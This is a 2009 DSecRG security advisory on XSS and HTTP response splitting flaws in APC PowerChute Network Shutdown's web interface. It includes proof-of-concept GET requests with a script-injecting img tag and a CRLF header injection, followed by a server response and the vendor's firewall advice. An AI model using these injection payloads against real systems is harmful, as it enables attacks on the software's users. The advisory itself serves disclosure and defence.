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[DSECRG-09-009] APC PowerChute Network Shutdown's Web Interface - XSS vulnerability

Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-009
------------------link to original advisory --------------------------

Application:                    APC PowerChute Network Shutdown's Web Interface
Vendor URL:                     http://www.apc.com/
Bug:                            XSS/Response Splitting
Exploits:                       YES
Reported:                       20.10.2008
Vendor Response:                20.10.2008
Vendor Reference:               081020-000796
Solution:                       Use Firewall
Date of Public Advisory:        26.02.2009
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)


Linked XSS and Response Splitting vulnerabilities found in APC PowerChute Network Shutdown's Web Interface.


1. Linked XSS Vulnerability  found in  script /security/applet vulnerable parameter - "referrer"


GET /security/applet?referrer=>"'><img/src="javascript:alert('DSECRG_XSS')"> 

2. Response Splitting Vulnerability found in script contexthelp. vulnerable parameter - "page"


GET /contexthelp?page=Foobar?%0d%0aDSECRG_HEADER:testvalue HTTP/1.0


HTTP/1.0 302 Moved temporarily
Content-Length: 0
Date: Чт, 25 сен 2008 10:47:42 GMT
Server: Acme.Serve/v1.7 of 13nov96
Connection: close
Expires: 0
Cache-Control: no-cache
Content-type: text/html
Location: help/english/Foobar?
Content-type: text/html



A low-risk web interface vulnerability has been discovered in the PowerChute Business Edition  Shutdown Agent.
This issue is scheduled to be addressed in a release of the application.
While the severity of this vulnerability has been determined to be minimal,
it is recommended that user's continue to ensure the highest level of protection possible through the placement of PowerChute Business Edition behind a firewall.




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